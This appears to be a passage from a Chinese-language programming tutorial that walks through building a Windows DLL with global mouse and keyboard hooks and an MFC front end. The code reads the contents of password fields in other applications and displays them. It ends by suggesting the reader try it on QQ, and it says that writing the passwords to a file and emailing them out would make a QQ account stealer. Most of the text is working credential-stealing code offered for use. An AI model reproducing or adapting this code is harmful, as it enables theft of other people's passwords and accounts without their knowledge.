利用鼠标键盘钩子截获密码
5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{ file://enum the child window,find passedit
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
if(style&ES_PASSWORD) file://是密码框
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
return TRUE;
}
}
return TRUE;
}
6:在DEF文件中定义段属性: (这步很重要)
SECTIONS
mydata READ WRITE SHARED
7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{ file://install hoook
hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
file://mouse hook
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
file://keyboard hook
if(hMouseHook&&hKeyBoardHook)
{
hOutPutWnd=hwnd; file://显示密码的句柄
return TRUE;
}
return FALSE;
}
BOOL CGetPassHook::StopHook()
{ file://unstall hook
BOOL mHook=UnhookWindowsHookEx(hMouseHook);
BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
if(mHook&&kHook)
return TRUE;
return FALSE;
}
8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("GETPASS.DLL Initializing!n");
if (!AfxInitExtensionModule(GetPassDLL, hInstance))
return 0;
new CDynLinkLibrary(GetPassDLL);
glhInstance=hInstance; file://得到句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("GETPASS.DLL Terminating!n");
AfxTermExtensionModule(GetPassDLL);
}
return 1; // ok
}
9:编译,完成DLL部分,
下面建立APP部分。如下:
1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。
2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。
2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS
3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:
#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
CGetPassHook m_hook;
。。。
DECLARE_MESSAGE_MAP()
};
4:在实现文件中:OnInitDialog()中起动HOOK
BOOL CGetPassWordDlg::OnInitDialog()
{
CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook
return TRUE; // return TRUE unless you set the focus to a control
}
5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
CDialog::OnDestroy();
m_hook.StopHook(); file://stop hook
}
6:将GetPass.dll拷贝到。EXE一个目录下,
7:编译,运行.
这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。